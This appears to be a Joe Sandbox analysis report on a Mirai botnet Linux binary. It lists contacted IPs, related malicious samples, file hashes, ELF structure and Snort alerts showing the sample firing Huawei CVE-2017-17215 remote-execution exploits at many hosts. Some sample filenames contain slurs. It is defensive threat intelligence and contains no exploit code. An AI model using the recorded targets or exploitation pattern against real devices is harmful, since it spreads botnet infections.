156.90.215.27	unknown	United States	7046	RFC2270-UUNET-CUSTOMERUS	false
41.37.76.211	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.68.110.7	unknown	South Africa	16637	MTNNS-ASZA	false
41.25.211.127	unknown	South Africa	36994	Vodacom-VBZA	false
190.168.190.248	unknown	Venezuela	27890	UniversidaddeOrienteVE	false
41.251.205.237	unknown	Morocco	36903	MT-MPLSMA	false
197.33.61.70	unknown	Egypt	8452	TE-ASTE-ASEG	false
92.64.208.201	unknown	Netherlands	1136	KPNKPNNationalEU	false
107.241.144.90	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
41.196.201.5	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.24.221.228	unknown	South Africa	36994	Vodacom-VBZA	false
197.207.57.228	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.203.40.33	unknown	South Africa	36968	ECN-AS1ZA	false
41.196.116.107	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.104.241.229	unknown	Algeria	36947	ALGTEL-ASDZ	false
95.220.234.124	unknown	Russian Federation	12714	TI-ASMoscowRussiaRU	false
122.91.41.131	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
197.237.248.136	unknown	Kenya	15399	WANANCHI-KE	false
156.254.22.216	unknown	Seychelles	394281	XHOSTSERVERUS	false
41.133.63.94	unknown	South Africa	10474	OPTINETZA	false
197.58.204.244	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.186.122.71	unknown	Rwanda	36890	MTNRW-ASNRW	false
156.56.209.9	unknown	United States	87	INDIANA-ASUS	false
41.197.85.152	unknown	Rwanda	36934	Broadband-Systems-CorporationRW	false
156.241.24.114	unknown	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	false
197.179.229.67	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
156.158.248.147	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
156.2.60.165	unknown	United States	29975	VODACOM-ZA	false
197.67.29.102	unknown	South Africa	16637	MTNNS-ASZA	false
197.66.231.28	unknown	South Africa	16637	MTNNS-ASZA	false
95.229.114.206	unknown	Italy	3269	ASN-IBSNAZIT	false
41.233.34.177	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.173.121.4	unknown	Egypt	36992	ETISALAT-MISREG	false
121.46.123.158	unknown	Australia	134688	YOURFIBRE-AS-APYourFibrePtyLtdAU	false
197.193.232.107	unknown	Egypt	36992	ETISALAT-MISREG	false
197.195.100.220	unknown	Egypt	36992	ETISALAT-MISREG	false
95.38.211.240	unknown	Iran (ISLAMIC Republic Of)	41881	FANAVA-ASFanavaGroupCommunicationCoIR	false
41.224.129.14	unknown	Tunisia	37492	ORANGE-TN	false
41.23.40.253	unknown	South Africa	29975	VODACOM-ZA	false
197.211.91.48	unknown	South Africa	29918	IMPOL-ASNZA	false
41.160.135.160	unknown	South Africa	36937	Neotel-ASZA	false
197.114.121.122	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.150.142.37	unknown	South Africa	5713	SAIX-NETZA	false
41.171.231.102	unknown	South Africa	36937	Neotel-ASZA	false
41.160.135.153	unknown	South Africa	36937	Neotel-ASZA	false
156.65.187.89	unknown	United States	26960	MICHELIN-NORTH-AMERICA-I1US	false
197.108.90.237	unknown	South Africa	37168	CELL-CZA	false
138.107.159.246	unknown	Japan	2497	IIJInternetInitiativeJapanIncJP	false
45.247.17.241	unknown	Egypt	24863	LINKdotNET-ASEG	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.193.232.120	arm7-20231212-1137.elf	Get hash	malicious	Mirai	Browse
197.193.232.120	aPtoscKh6g	Get hash	malicious	Mirai	Browse
41.227.18.82	kaBw8cB80W.elf	Get hash	malicious	Mirai, Moobot	Browse
	CP7nG3wUq8.elf	Get hash	malicious	Mirai, Moobot	Browse
	1JFq3jfiXe	Get hash	malicious	Gafgyt, Mirai	Browse
	yakuza.x86	Get hash	malicious	Unknown	Browse
	XybgXm6MPU	Get hash	malicious	Mirai	Browse
41.60.238.126	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Mirai	Browse
	bk.arm5-20220928-0056.elf	Get hash	malicious	Mirai	Browse
	ak.arm7-20220924-0648.elf	Get hash	malicious	Mirai	Browse
197.197.89.89	mantRVZKlT.elf	Get hash	malicious	Unknown	Browse
	Tropical.arm7-20220201-2300	Get hash	malicious	Mirai	Browse
	notabotnet.x86	Get hash	malicious	Mirai	Browse
156.3.86.184	Zeus.mips	Get hash	malicious	Mirai	Browse
156.3.86.184	uwgXkY20gB	Get hash	malicious	Mirai	Browse
156.13.131.7	bk.arm5-20220930-2026.elf	Get hash	malicious	Mirai	Browse
156.13.131.7	HcYMI1DDbn	Get hash	malicious	Mirai	Browse
197.106.106.163	nigga.mips.elf	Get hash	malicious	Mirai	Browse
197.106.106.163	VDJPS7hdxX	Get hash	malicious	Mirai	Browse
156.112.149.215	arm7	Get hash	malicious	Mirai	Browse
41.198.255.148	JGqB0cW7Ls.elf	Get hash	malicious	Mirai	Browse
	vbp5ES46dS	Get hash	malicious	Mirai	Browse
	LewDcvkXBo	Get hash	malicious	Unknown	Browse
41.215.4.43	Lti8kFIBou.elf	Get hash	malicious	Mirai, Moobot	Browse
41.215.4.43	8QPLnxrVuD.elf	Get hash	malicious	Mirai, Moobot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sfdopospdofpsdo.dyn	50bA7XFJQI.elf	Get hash	malicious	Mirai	Browse	5.181.80.102
daisy.ubuntu.com	iyMxc5A20o.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	1fE5EGxXr7.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	oGb5lCYiv9.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	qkv9PJq7Wu.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	RUkabNV6WE.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	t1bYBRmgOd.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	Tz6jmMZpFR.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	r2EGqTeD3w.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	MHCk81i52y.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	nCSIb9lH0j.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	Cb46QaL1gi.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	vFy6HHN1BH.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	1JN8cVjz11.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	ymuMUqrdjv.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	7ASLTYwiU9.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	wAftf8BDtZ.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	XM3xkpOnI9.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	Rlayr8xVlX.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	LbKxQbFmBl.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	FD6he6Q5IP.elf	Get hash	malicious	Unknown	Browse	162.213.35.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ETISALAT-MISREG	Hc4cUTxU09.elf	Get hash	malicious	Mirai	Browse	197.121.135.23
	rWDo1Us2zv.elf	Get hash	malicious	Mirai	Browse	156.166.92.97
	5EHBWChBlT.elf	Get hash	malicious	Mirai	Browse	156.171.58.22
	50bA7XFJQI.elf	Get hash	malicious	Mirai	Browse	156.183.54.70
	JGceUPVTjp.elf	Get hash	malicious	Mirai	Browse	156.164.160.211
	hfJupY4dpE.elf	Get hash	malicious	Mirai	Browse	156.186.192.190
	zY72q7d3Da.elf	Get hash	malicious	Mirai	Browse	156.181.231.191
	UhpB22Atau.elf	Get hash	malicious	Mirai	Browse	156.168.106.78
	s8M01kYpwz.elf	Get hash	malicious	Mirai	Browse	105.81.1.185
	b3astmode.arm.elf	Get hash	malicious	Mirai	Browse	41.64.169.104
	b3astmode.arm7.elf	Get hash	malicious	Mirai	Browse	41.64.169.104
	pTr19RmPcX.elf	Get hash	malicious	Mirai	Browse	41.152.76.234
	4odP2y5EjF.elf	Get hash	malicious	Mirai	Browse	156.183.78.35
	BA3TWTDFgH.elf	Get hash	malicious	Mirai	Browse	156.183.18.165
	hoho.arm.elf	Get hash	malicious	Mirai	Browse	197.194.23.185
	toR6rmWZ5i.elf	Get hash	malicious	Mirai	Browse	84.36.21.97
	a3SIMycc8C.elf	Get hash	malicious	Mirai	Browse	62.139.23.172
	D1G7HClTXp.elf	Get hash	malicious	Mirai	Browse	156.161.229.71
	odeQAhdYVi.elf	Get hash	malicious	Mirai	Browse	197.193.244.12
	YifocSAZV8.elf	Get hash	malicious	Mirai	Browse	197.197.89.80
OPTINETZA	rWDo1Us2zv.elf	Get hash	malicious	Mirai	Browse	41.133.169.200
	5EHBWChBlT.elf	Get hash	malicious	Mirai	Browse	197.90.198.191
	50bA7XFJQI.elf	Get hash	malicious	Mirai	Browse	197.93.232.165
	JGceUPVTjp.elf	Get hash	malicious	Mirai	Browse	197.87.110.21
	b3astmode.arm.elf	Get hash	malicious	Mirai	Browse	197.90.98.70
	b3astmode.arm7.elf	Get hash	malicious	Mirai	Browse	197.90.98.70
	pTr19RmPcX.elf	Get hash	malicious	Mirai	Browse	197.82.0.27
	4odP2y5EjF.elf	Get hash	malicious	Mirai	Browse	197.87.109.18
	PqNwF6rNqr.elf	Get hash	malicious	Mirai	Browse	197.90.74.53
	Iuu2a225Uj.elf	Get hash	malicious	Mirai	Browse	197.90.74.57
	M7BBBrhAuf.elf	Get hash	malicious	Mirai	Browse	197.94.15.15
	VOD5Th43fb.elf	Get hash	malicious	Mirai	Browse	197.94.15.16
	6piQjotuYV.elf	Get hash	malicious	Mirai	Browse	197.82.0.53
	D9UijsgjDB.elf	Get hash	malicious	Mirai	Browse	41.133.63.61
	x86.elf	Get hash	malicious	Mirai	Browse	41.134.159.153
	e8MXA2TknI.elf	Get hash	malicious	Mirai	Browse	196.28.205.115
	x86.elf	Get hash	malicious	Mirai	Browse	197.92.49.8
	lpZunDkkVn.elf	Get hash	malicious	Mirai, Moobot	Browse	197.83.197.250
	xWNwBMOsRx.elf	Get hash	malicious	Mirai, Moobot	Browse	197.90.198.198
	bHAYs5uAfu.elf	Get hash	malicious	Mirai, Moobot	Browse	197.84.96.120
ORANGE-TN	rWDo1Us2zv.elf	Get hash	malicious	Mirai	Browse	196.226.165.41
	5EHBWChBlT.elf	Get hash	malicious	Mirai	Browse	41.224.152.205
	4odP2y5EjF.elf	Get hash	malicious	Mirai	Browse	197.31.139.219
	BA3TWTDFgH.elf	Get hash	malicious	Mirai	Browse	41.224.129.10
	uQWBS46l1m.elf	Get hash	malicious	Mirai	Browse	160.157.231.109
	jMDesRW1NQ.elf	Get hash	malicious	Mirai	Browse	41.228.135.172
	bltgVybKDt.elf	Get hash	malicious	Mirai	Browse	196.224.36.180
	h0r0zx00x.x86.elf	Get hash	malicious	Mirai	Browse	197.28.210.160
	x86.elf	Get hash	malicious	Mirai	Browse	197.26.6.253
	xWNwBMOsRx.elf	Get hash	malicious	Mirai, Moobot	Browse	197.30.202.18
	bHAYs5uAfu.elf	Get hash	malicious	Mirai, Moobot	Browse	41.228.135.173
	8HO4tSfzl3.elf	Get hash	malicious	Mirai, Moobot	Browse	197.27.94.124
	KmvhN8br0q.elf	Get hash	malicious	Mirai, Moobot	Browse	197.30.41.143
	247EUaszG9.elf	Get hash	malicious	Mirai, Moobot	Browse	197.29.52.179
	VJaseV5ZDZ.elf	Get hash	malicious	Mirai, Moobot	Browse	41.228.82.100
	telx86-20231224-0150.elf	Get hash	malicious	Mirai	Browse	197.28.210.156
	telarm7-20231224-0150.elf	Get hash	malicious	Mirai	Browse	197.30.202.43
	8GMQc4GV2x.elf	Get hash	malicious	Mirai	Browse	196.226.142.213
	nig.x86.elf	Get hash	malicious	Mirai	Browse	197.30.41.140
	arm4-20231216-1307.elf	Get hash	malicious	Mirai	Browse	41.231.58.112

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.420793901585922
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	telx86.elf
File size:	66'704 bytes
MD5:	3a0fc12c5f8efdbfe79996aee1692d0a
SHA1:	2aa358dd3d4d71b89aeacea182458d1f4e1f65db
SHA256:	151b49633b1bd166fc66335ae4d489bab682360a22c0e0fc0e6491855c324a59
SHA512:	8431d363ff8ff58b9f99192a0fc36f2c46f452e73b75ac79edae8fb8f26f2a1f63b2b2ae6d94c70878dbb4ac323c8dde0dcf0a31bfede1bae8e4481890f41b1b
SSDEEP:	1536:ctXOYJDFUsswTKxpKUeNMaa6y5zdvO6kSpnEq:AXbJpU1wTkde9av9dhEq
TLSH:	08534BC6EA43D4F1EC5709B01077E7338A32F9390179EB57C765DA36AC92A01E61B26C
File Content Preview:	.ELF....................d...4...........4. ...(..........................................................W..........Q.td............................U..S.......w....h........[]...$.............U......=.....t..5....$......$.......u........t....h.y..........

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048164
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	66304
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0xd726	0x0	0x6	AX	16
.fini	PROGBITS	0x80557d6	0xd7d6	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x8055800	0xd800	0x2100	0x0	0x2	A	32
.ctors	PROGBITS	0x8058000	0x10000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x8058008	0x10008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x8058020	0x10020	0x2a0	0x0	0x3	WA	32
.bss	NOBITS	0x80582c0	0x102c0	0x5440	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x102c0	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0xf900	0xf900	6.5604	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0x10000	0x8058000	0x8058000	0x2c0	0x5700	3.4893	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.1345.195.116.15540424372152835222 01/01/24-12:53:27.958802	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40424	37215	192.168.2.13	45.195.116.155
192.168.2.1394.120.162.1853222372152829579 01/01/24-12:53:27.795769	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53222	37215	192.168.2.13	94.120.162.18
192.168.2.13156.254.85.23959312372152829579 01/01/24-12:55:04.208724	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59312	37215	192.168.2.13	156.254.85.239
192.168.2.13156.241.94.10448236372152835222 01/01/24-12:55:07.901171	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48236	37215	192.168.2.13	156.241.94.104
192.168.2.13156.254.66.22438862372152835222 01/01/24-12:53:25.197371	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38862	37215	192.168.2.13	156.254.66.224
192.168.2.1394.122.227.10641514372152835222 01/01/24-12:54:49.815557	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41514	37215	192.168.2.13	94.122.227.106
192.168.2.13156.254.67.11236964372152835222 01/01/24-12:52:21.418780	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36964	37215	192.168.2.13	156.254.67.112
192.168.2.1345.195.116.15540424372152829579 01/01/24-12:53:27.958802	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40424	37215	192.168.2.13	45.195.116.155
192.168.2.13156.254.66.22438862372152829579 01/01/24-12:53:25.197371	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38862	37215	192.168.2.13	156.254.66.224
192.168.2.13156.254.81.4855606372152829579 01/01/24-12:55:07.912325	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55606	37215	192.168.2.13	156.254.81.48
192.168.2.1341.230.12.12357614372152835222 01/01/24-12:52:28.726336	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57614	37215	192.168.2.13	41.230.12.123
192.168.2.13156.241.93.22549762372152835222 01/01/24-12:55:03.600053	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49762	37215	192.168.2.13	156.241.93.225
192.168.2.1394.122.227.10641514372152829579 01/01/24-12:54:49.815557	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41514	37215	192.168.2.13	94.122.227.106
192.168.2.1395.86.126.10957568372152835222 01/01/24-12:54:38.187082	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57568	37215	192.168.2.13	95.86.126.109
192.168.2.13156.254.81.4855606372152835222 01/01/24-12:55:07.912325	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55606	37215	192.168.2.13	156.254.81.48
192.168.2.13156.77.130.25543294372152829579 01/01/24-12:53:48.743322	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43294	37215	192.168.2.13	156.77.130.255
192.168.2.13156.224.11.14056856372152835222 01/01/24-12:52:36.466701	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56856	37215	192.168.2.13	156.224.11.140
192.168.2.1394.122.226.136386372152835222 01/01/24-12:54:07.986869	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36386	37215	192.168.2.13	94.122.226.1
192.168.2.13156.241.94.10448236372152829579 01/01/24-12:55:07.901171	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48236	37215	192.168.2.13	156.241.94.104
192.168.2.13156.224.12.7536878372152835222 01/01/24-12:54:01.645309	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36878	37215	192.168.2.13	156.224.12.75
192.168.2.13156.241.85.24146770372152835222 01/01/24-12:55:17.097341	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46770	37215	192.168.2.13	156.241.85.241
192.168.2.1394.120.42.23455862372152835222 01/01/24-12:52:37.051437	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55862	37215	192.168.2.13	94.120.42.234
192.168.2.1394.120.162.1853222372152835222 01/01/24-12:53:27.795769	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53222	37215	192.168.2.13	94.120.162.18
192.168.2.13156.241.103.9856426372152835222 01/01/24-12:53:55.957508	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56426	37215	192.168.2.13	156.241.103.98
192.168.2.13156.224.15.8158804372152829579 01/01/24-12:53:18.962521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58804	37215	192.168.2.13	156.224.15.81
192.168.2.13156.77.138.24237286372152829579 01/01/24-12:54:24.868705	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37286	37215	192.168.2.13	156.77.138.242
192.168.2.13156.247.28.24658812372152829579 01/01/24-12:54:49.828885	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58812	37215	192.168.2.13	156.247.28.246
192.168.2.13154.201.16.940302372152835222 01/01/24-12:52:47.682060	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40302	37215	192.168.2.13	154.201.16.9
192.168.2.1345.207.186.4241962372152835222 01/01/24-12:54:56.765253	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41962	37215	192.168.2.13	45.207.186.42
192.168.2.1341.207.122.451332372152835222 01/01/24-12:54:43.357522	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51332	37215	192.168.2.13	41.207.122.4
192.168.2.13156.254.95.4648108372152835222 01/01/24-12:53:54.430130	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48108	37215	192.168.2.13	156.254.95.46
192.168.2.13156.230.24.23135978372152829579 01/01/24-12:54:59.966641	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35978	37215	192.168.2.13	156.230.24.231
192.168.2.13156.247.30.14344172372152829579 01/01/24-12:53:42.559872	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44172	37215	192.168.2.13	156.247.30.143
192.168.2.1345.207.186.4241962372152829579 01/01/24-12:54:56.765253	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41962	37215	192.168.2.13	45.207.186.42
192.168.2.13156.77.130.25543294372152835222 01/01/24-12:53:48.743322	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43294	37215	192.168.2.13	156.77.130.255
192.168.2.13156.224.11.14056856372152829579 01/01/24-12:52:36.466701	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56856	37215	192.168.2.13	156.224.11.140
192.168.2.13156.254.74.16148284372152835222 01/01/24-12:52:33.774769	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48284	37215	192.168.2.13	156.254.74.161
192.168.2.13156.254.95.4648108372152829579 01/01/24-12:53:54.430130	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48108	37215	192.168.2.13	156.254.95.46
192.168.2.13156.241.101.658258372152829579 01/01/24-12:53:51.185772	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58258	37215	192.168.2.13	156.241.101.6
192.168.2.1394.121.223.3054080372152835222 01/01/24-12:54:08.265250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54080	37215	192.168.2.13	94.121.223.30
192.168.2.1341.207.122.451332372152829579 01/01/24-12:54:43.357522	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51332	37215	192.168.2.13	41.207.122.4
192.168.2.1394.123.106.1449430372152829579 01/01/24-12:55:15.479097	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49430	37215	192.168.2.13	94.123.106.14
192.168.2.1341.47.126.24858920372152835222 01/01/24-12:55:08.519752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58920	37215	192.168.2.13	41.47.126.248
192.168.2.13154.214.76.23833396372152835222 01/01/24-12:54:55.449045	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33396	37215	192.168.2.13	154.214.76.238
192.168.2.13156.230.24.23135978372152835222 01/01/24-12:54:59.966641	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35978	37215	192.168.2.13	156.230.24.231
192.168.2.13156.241.85.24146770372152829579 01/01/24-12:55:17.097341	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46770	37215	192.168.2.13	156.241.85.241
192.168.2.13156.241.93.22549762372152829579 01/01/24-12:55:03.600053	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49762	37215	192.168.2.13	156.241.93.225
192.168.2.13156.224.12.7536878372152829579 01/01/24-12:54:01.645309	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36878	37215	192.168.2.13	156.224.12.75
192.168.2.1341.44.194.10446160372152835222 01/01/24-12:52:33.808440	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46160	37215	192.168.2.13	41.44.194.104
192.168.2.1394.120.42.23455862372152829579 01/01/24-12:52:37.051437	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55862	37215	192.168.2.13	94.120.42.234
192.168.2.13156.224.15.8158804372152835222 01/01/24-12:53:18.962521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58804	37215	192.168.2.13	156.224.15.81
192.168.2.13156.241.81.17540264372152835222 01/01/24-12:53:31.429922	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40264	37215	192.168.2.13	156.241.81.175
192.168.2.1341.230.12.12357614372152829579 01/01/24-12:52:28.726336	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57614	37215	192.168.2.13	41.230.12.123
192.168.2.1394.121.149.14546400372152829579 01/01/24-12:52:45.782939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46400	37215	192.168.2.13	94.121.149.145
192.168.2.1395.86.126.10957568372152829579 01/01/24-12:54:38.187082	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57568	37215	192.168.2.13	95.86.126.109
192.168.2.1394.122.226.136386372152829579 01/01/24-12:54:07.986869	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36386	37215	192.168.2.13	94.122.226.1
192.168.2.13156.253.43.22734586372152835222 01/01/24-12:54:59.700384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34586	37215	192.168.2.13	156.253.43.227
192.168.2.1337.16.25.22237410372152835222 01/01/24-12:53:36.472789	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37410	37215	192.168.2.13	37.16.25.222
192.168.2.13156.253.41.13455482372152829579 01/01/24-12:52:28.994949	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55482	37215	192.168.2.13	156.253.41.134
192.168.2.1394.121.131.7852502372152829579 01/01/24-12:54:16.206591	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52502	37215	192.168.2.13	94.121.131.78
192.168.2.1394.120.208.19460170372152835222 01/01/24-12:54:27.343313	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60170	37215	192.168.2.13	94.120.208.194
192.168.2.13156.241.119.747944372152829579 01/01/24-12:54:41.115680	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47944	37215	192.168.2.13	156.241.119.7
192.168.2.13156.241.120.14052438372152829579 01/01/24-12:52:21.710115	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52438	37215	192.168.2.13	156.241.120.140
192.168.2.13156.253.43.22734586372152829579 01/01/24-12:54:59.700384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34586	37215	192.168.2.13	156.253.43.227
192.168.2.13156.254.107.3850918372152835222 01/01/24-12:55:08.201166	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50918	37215	192.168.2.13	156.254.107.38
192.168.2.1394.121.100.24358266372152829579 01/01/24-12:53:16.350324	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58266	37215	192.168.2.13	94.121.100.243
192.168.2.13156.241.86.15445240372152835222 01/01/24-12:54:08.017124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45240	37215	192.168.2.13	156.241.86.154
192.168.2.13156.254.66.25533620372152835222 01/01/24-12:54:40.810216	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33620	37215	192.168.2.13	156.254.66.255
192.168.2.1394.121.131.7852502372152835222 01/01/24-12:54:16.206591	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52502	37215	192.168.2.13	94.121.131.78
192.168.2.1337.16.25.22237410372152829579 01/01/24-12:53:36.472789	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37410	37215	192.168.2.13	37.16.25.222
